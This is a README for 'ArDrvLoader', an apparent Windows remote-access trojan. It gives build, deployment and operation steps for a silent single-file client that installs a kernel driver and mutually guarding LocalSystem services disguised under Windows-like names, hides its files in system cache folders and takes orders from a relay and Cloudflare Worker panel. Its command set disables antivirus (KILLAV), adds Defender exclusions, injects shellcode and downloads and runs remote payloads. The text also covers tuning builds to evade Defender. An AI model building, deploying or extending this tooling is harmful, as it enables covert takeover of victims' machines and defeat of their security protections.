Files
2026-11-03 20:45:39 -08:00

411 lines
14 KiB
Markdown

# ArDrvLoader - build, use, test
Single Windows client binary that installs a LocalSystem service stack, a kernel
driver, and a cloud command channel, plus a relay server and a Cloudflare Worker
that sit in front of it.
```
client exe → Cloudflare Worker (proxy) → relay server (Node + SQLite) → panel
```
The Worker stores nothing; the relay owns all state. A client can also talk to the
relay directly (no Worker) when you want to save Cloudflare requests.
- detailed internals: `SERVICES.md`
- this file: how to build, run and test
---
## 1. Requirements
| Piece | Need |
|---|---|
| Client build | Visual Studio 2022/2026 with C++ x64 toolset, MSBuild |
| Relay | Node.js 22+ (uses `node:sqlite`, no npm dependencies) |
| Worker (optional) | `npm i -g wrangler` and a Cloudflare account |
| Test target | Windows 10/11 x64, admin rights for service install |
Repository layout:
```
cpp_end/
*.cpp *.h client sources
ArDrvLoader.vcxproj client project
StageDll.cpp/.vcxproj stage payload DLL (embedded into the exe)
driver_res.rc stage_res.rc resource.h embedded driver + payload
build.ps1 build driver → payload → exe, produces dist\<cfg>
server/ relay server, sqlite, panel.html
cloudflare/ Worker proxy, mock worker
agent-cli.ps1 agent.cmd small helpers to send a command and read the ACK
test-cloud.ps1 end-to-end test against the mock worker
SERVICES.md deep documentation
```
Place `ardrv.sys` in `cpp_end\` before building if you want the driver embedded.
Place nothing there for a driver-less build.
---
## 2. Build
```
cd cpp_end
powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Release
```
Output:
```
dist\Release\ArDrvLoader.exe <- single file, this is what ships
x64\Release\ArDrvLoader.exe <- build output with .pdb symbols
```
Variants:
| Command | Result |
|---|---|
| `build.ps1 -Configuration Release` | 335 KB, driver + stage DLL embedded, silent (no console), no logs |
| `build.ps1 -Configuration Debug` | 2.5 MB, console window, writes `C:\Users\Public\ardrv_loader.log` |
| `build.ps1 -Configuration Release -NoEmbed` | 274 KB, no embedded resources; ship `ardrv.sys` and `ardrvstage.dll` separately |
| `build.ps1 -NoEmbed` also accepts `-SkipPayload` | skips rebuilding the stage DLL entirely |
Raw MSBuild, if you prefer:
```
MSBuild ArDrvLoader.vcxproj /p:Configuration=Release /p:Platform=x64 /m
```
Release is linked as a **Windows subsystem** binary (`wmainCRTStartup`), so
double-clicking it shows no console. Debug stays a console app.
Build hardening already applied to Release: `/Brepro` (no Rich header, no
timestamps) and `/PDBALTPATH:%_PDB%` (no absolute build paths). This removed a
`Trojan:Win32/Wacatac.B!ml` false positive from Defender.
### Build-time defaults
The exe can run with **no arguments at all**. These macros live in
`ArDrvLoader.vcxproj` → `PreprocessorDefinitions`:
| Macro | Meaning | Default |
|---|---|---|
| `ARDRV_DEFAULT_URL` | relay or Worker address | `http://127.0.0.1:8789` |
| `ARDRV_DEFAULT_OPERATOR_KEY` | operator key for the API | `testop` |
| `ARDRV_DEFAULT_SECRET` | agent key | `testsecret` |
| `ARDRV_DEFAULT_AGENT` | agent id, empty = computer name | empty |
| `ARDRV_ALLOW_VM_DEFAULT` | `1` bypasses the VM gate (lab images) | `1` |
Set `ARDRV_ALLOW_VM_DEFAULT=0` and real URLs before shipping.
---
## 3. Run the relay server
```
cd cpp_end/server
set PORT=8790
set AGENT_SECRET=testsecret
set OPERATOR_KEY=testop
set ENROLL_SECRET=testenroll
set LEGACY_MASTER_AUTH=false
set PROXY_SECRET=proxys3cret
node server.js
```
| Env | Default | Purpose |
|---|---|---|
| `PORT` | 8790 | listen port |
| `DATA_DIR` | `./data` | sqlite file + `files/` payloads |
| `PANEL_PATH` | `server/panel.html` | UI to serve at `/panel` |
| `AGENT_SECRET` | - | master key; per-agent keys are derived from it |
| `OPERATOR_KEY` | - | panel / operator API key |
| `ENROLL_SECRET` | operator key | enrollment token |
| `LEGACY_MASTER_AUTH` | `false` | accept the shared master key during migration |
| `PROXY_SECRET` | - | if set, requests must carry `X-Proxy-Secret` |
| `RETAIN_COMMAND_DAYS` | 7 | command retention |
| `RETAIN_EVENT_DAYS` | 30 | event retention |
| `RETAIN_MAX_COMMANDS` | 50000 | hard cap |
The server creates its schema on start, opens SQLite in WAL mode, and reaps
commands stuck in `sent` for over 180 s.
Panel: `http://<host>:8790/panel?key=testop`
---
## 4. Run the Worker proxy (optional)
```
cd cpp_end/cloudflare
wrangler dev --port 8789 --ip 127.0.0.1 --local
```
`.dev.vars`:
```
SERVER_URL=http://127.0.0.1:8790
PROXY_SECRET=proxys3cret
```
Production: set `SERVER_URL` as a Worker var and `PROXY_SECRET` as a secret, then
`wrangler deploy`. `wrangler.toml` has no D1 or KV bindings - the Worker is a pure
forwarder.
---
## 5. Install the client
### One double-click
`dist\Release\ArDrvLoader.exe` with **no arguments** uses the build-time defaults:
1. one UAC prompt
2. installs driver + three services + cloud agent service
3. waits for the agent to register (id = computer name)
4. queues `KILLAV` through the relay so the run appears in the panel
### With explicit arguments
```
ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key <key> ^
[--agent box1] [--secret <agent-key>] [--target C:\Path\App.exe] [--no-killav]
```
### Services only, no bootstrap
```
ArDrvLoader.exe -install-guard-services --target "C:\Path\App.exe" --args "--silent"
ArDrvLoader.exe -install-guard-services --target-service "SomeService"
ArDrvLoader.exe -install-guard-services --dry-run # print the plan, no UAC
```
Options: `--prefix <Name>`, `--install-dir <path>`, `--keep-location`,
`--no-start`, `--allow-vm`, `--cloud-url`, `--cloud-secret`, `--cloud-agent`,
`--cloud-service`.
### What gets installed
| Service | Role |
|---|---|
| `DeviceSetupHost` | extracts the driver to `System32\drivers`, creates/starts kernel service `ArDrv`, verifies `\\.\ArDrv` |
| `ProgramCompatHost` | keeps the target program alive, keeps the stage payload injected, keeps peers alive |
| `ServiceStateHost` | re-enables a disabled target service and starts it |
| `CloudTest` / `CloudSyncHost` | the cloud agent |
All run as `LocalSystem`, auto-start, restart on failure, and watch each other.
Files live under a machine-tagged directory:
`%ProgramData%\Microsoft\Windows\Caches\<8hex>\` (or `%LOCALAPPDATA%\...\INetCache\<8hex>\`
for a non-elevated agent).
### Configuration - `HKLM\SOFTWARE\ArDrvLoader`
The key is DACL-locked to SYSTEM + Administrators. Services re-read it every loop,
so changes apply without reinstalling.
| Value | Type | Default | Meaning |
|---|---|---|---|
| `TargetPath` | REG_SZ | - | program to keep alive |
| `TargetArgs` | REG_SZ | - | its arguments |
| `TargetService` | REG_SZ | - | service to keep alive instead |
| `DriverImage` | REG_SZ | `...\drivers\ardrv.sys` | driver path |
| `DriverService` | REG_SZ | `ArDrv` | kernel service name |
| `DriverDevice` | REG_SZ | `\\.\ArDrv` | device to verify |
| `CheckIntervalMs` | REG_DWORD | 5000 | loop interval |
| `DesiredStartType` | REG_DWORD | 2 | 2 auto, 3 demand |
| `DriverFailCount` | REG_DWORD | 0 | consecutive driver failures |
| `DriverFailMax` | REG_DWORD | 3 | budget before giving up |
| `DriverState` | REG_SZ | - | `ok` / `failed` / `disabled-after-failures` |
| `KillAvOnStart` | REG_DWORD | 0 | AV sweep on each guard start |
| `AllowVm` | REG_DWORD | 0 | run inside a VM |
| `ExclusionPaths` | REG_SZ | - | `|`-separated Defender exclusions |
---
## 6. Cloud agent
```
ArDrvLoader.exe -cloud --agent box1 --url https://relay.example --secret <key> --interval 5000
ArDrvLoader.exe -cloud-service --service-name CloudTest --agent box1 --url ... --secret ...
```
Config is also read from env (`CA_URL`, `CA_SECRET`, ...) or
`HKLM\Software\CloudAgent`.
### Per-agent keys
```
ArDrvLoader.exe -enroll --url https://relay.example --agent box1 --enroll-secret <token>
```
Writes `<root>\agent-box1.key`; the agent uses it when `--secret` and `CA_SECRET`
are absent. Revoke from the panel (`revoke`) or
`POST /api/revoke {"agent":"box1","revoked":true}`. Re-enrolling clears it.
---
## 7. Panel
`http://<host>:8790/panel?key=<operator-key>`
- **Console** - per-agent composer (Enter sends, Shift+Enter newline), quick chips,
history with `copy result` / `run again`
- **All commands** - global table, defaults to executed commands, sortable by
time / agent / command / state / operator / result / duration
- `run` chip re-enqueues that command for the same agent
- `+` or the result cell expands the output
- clicking the row loads the command into that agent's console
- **Palette** - `all commands (47)` opens every command grouped by category, with
search; chips with `<args>` load into the composer, others send immediately
- agent header shows host, user, SID, version, interval, and `revoke`/`restore`
- offline agents render grey (`online=false` after 3 intervals, min 45 s)
- broadcast sends one command to every online agent
- auto-refresh every 3 s, `/` focuses the agent filter, `lock` forgets the key
---
## 8. Commands
```
PING STATUS HELP
RUN <cmd> EXEC <commandline> RUN_USER <cmd> RUN_SYSTEM <cmd>
PS <powershell> PS_USER <powershell>
RUNFILE <path> [args] RUNFILE_USER RUNFILE_SYSTEM
OPENFILE <path> [args] OPENFILE_USER
DOWNLOAD <url> <out> [sha256] DEPLOY <url> [args] DEPLOY_SYSTEM <url> [args]
KILLPID <pid> KILLNAME <exe> KILLALL <exe> TOKEN_GET
INJECT_FILE <pid> <shellcode> INJECT_SUSPEND <exe> <shellcode>
KILLAV KILLAV_DRYRUN
EXCLUSION_LIST EXCLUSION_ADD <path> EXCLUSION_APPLY
DRIVER_STATUS DRIVER_RESET DRIVER_LOAD
HOST_LIST HOST_SPAWN [--host <img>] <exe> [args] HOST_SPAWN_USER
HOST_INJECT <shellcode> [--host <img>] HOST_TRACK HOST_UNTRACK
STAGE_STATUS STAGE_INJECT [--host <img>] STAGE_RUN <cmd> STAGE_STOP
SERVICE_STATUS <name> START_SERVICE <name> [path]
INSTALL_SERVICE <name> [path] INSTALL_CLOUD_SERVICE <name>
INSTALL_GUARD_SERVICES [--target <path>] [--target-service <name>] [--args <args>]
STOP
```
`KILLAV` and `STOP` are real actions; everything else is diagnostic or scoped.
---
## 9. Test
### 9.1 Automated cloud test (mock worker, no Node needed in the path)
```
cd cpp_end
powershell -ExecutionPolicy Bypass -File test-cloud.ps1
```
It starts `cloudflare/mock-worker.ps1`, starts an agent against it and checks:
PING, STATUS, DOWNLOAD (with SHA-256), a wrong-hash download that must be rejected
and deleted, DEPLOY, HOST_LIST, HOST_TRACK, STAGE_STATUS, EXCLUSION_LIST,
DRIVER_STATUS, STOP, plus an unsigned request that must return 403. Prints PASS.
Useful switches: `-Port 8795 -AgentId clitest1`.
### 9.2 Manual command against the live relay
```
\.\agent-cli.ps1 -Command "STATUS"
\.\agent-cli.ps1 -Worker http://127.0.0.1:8789 -Agent box1 -Secret testsecret -Command "HOST_LIST"
agent.cmd STATUS # wrapper for hosts with a restrictive execution policy
```
### 9.3 Single-exe client test
1. Copy `dist\Release\ArDrvLoader.exe` into an empty folder
2. Double-click it (Release is silent; use Debug to watch)
3. Expect UAC → agent appears in the panel → `KILLAV` row completes
Verify from a shell:
```
sc query DeviceSetupHost
sc query ArDrv
dir C:\Windows\System32\drivers\ardrv.sys
HKLM\SOFTWARE\ArDrvLoader
```
### 9.4 Driver checks
```
ArDrvLoader.exe -drv status # device=ok embedded=<bytes> fail=N/max state=...
ArDrvLoader.exe -drv extract C:\Temp\ardrv.sys
ArDrvLoader.exe -drv reset
```
### 9.5 Kill-safety checks
```
ArDrvLoader.exe -killav --dry-run # AV allowlist, nothing killed
ArDrvLoader.exe -killav --dry-run --name svchost.exe # must print SKIP protected
ArDrvLoader.exe -killav --dry-run --name notepad.exe # would-kill, or would-kill (driver)
```
### 9.6 AV scan
```
"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File ^
"C:\Code\AvKiler\cpp_end\dist\Release\ArDrvLoader.exe" -DisableRemediation
```
Current build scans clean on engine 1.461.217.0.
### 9.7 Uninstall / reset
Elevated, in order:
```
sc stop CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost
sc delete CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost
sc stop ArDrv
sc delete ArDrv
del C:\Windows\System32\drivers\ardrv.sys
reg delete HKLM\SOFTWARE\ArDrvLoader /f
rmdir /s /q C:\ProgramData\Microsoft\Windows\Caches\<8hex>
```
Then clear relay state if you want a clean panel:
```
node -e "const{DatabaseSync}=require('node:sqlite');const d=new DatabaseSync('server/data/ardrv.sqlite');d.exec('DELETE FROM commands;DELETE FROM events;DELETE FROM agents;')"
```
A staged payload that was injected into a live host can keep
`ardrvstage.dll` locked until reboot; queue it with
`PendingFileRenameOperations` or restart.
---
## 10. Troubleshooting
| Symptom | Cause / fix |
|---|---|
| double-click does nothing, no UAC | launched from an elevated shell - Windows suppresses the prompt; launch from Explorer |
| UAC appears, nothing installed | `--elevated` present but bootstrap not selected; check you are on a build after commit `9db2870` |
| silent exit, no services | VM gate blocked it - set `ARDRV_ALLOW_VM_DEFAULT=1` or `--allow-vm` |
| agent never appears | relay/worker down, wrong URL, or `PROXY_SECRET` mismatch (relay returns 403) |
| agent shows offline while running | poll interval mismatch; check `X-Agent-Interval` header handling and the 3-interval threshold |
| services Stopped after an update | binary replace hit a sharing violation; the installer retries 10 s. Check Event Log if it persists |
| driver role stops retrying | `DriverFailMax` reached - `DRIVER_RESET` or `-drv reset` |
| command runs twice | reaper requeued a slow command; agents dedupe by id and ack `OK (dup, not re-executed)` |
| Defender deletes the exe | re-scan; if flagged, rebuild (Brepro/PDBALTPATH) or add an exclusion during testing |
| SmartScreen "unknown publisher" | unsigned exe with Mark of the Web; unblock the file or sign the binary |
---
## 11. Known limitations
- The client is **unsigned**; code signing is the durable fix for SmartScreen and
behavioural AV verdicts.
- Driver capabilities beyond terminate (`PPL` strip, kernel registry writes,
device ACL) need driver source, which is not part of this repository.
- `KILLAV` is real: on a test box it disables Defender until it recovers.
- Polling only (no WebSocket yet); at 15 s per agent the Cloudflare free tier caps
you around 17 agents.
- The "services go quiet, payload takes over" handoff is half-built: the guard
keeps the stage payload alive, but the payload only runs commands.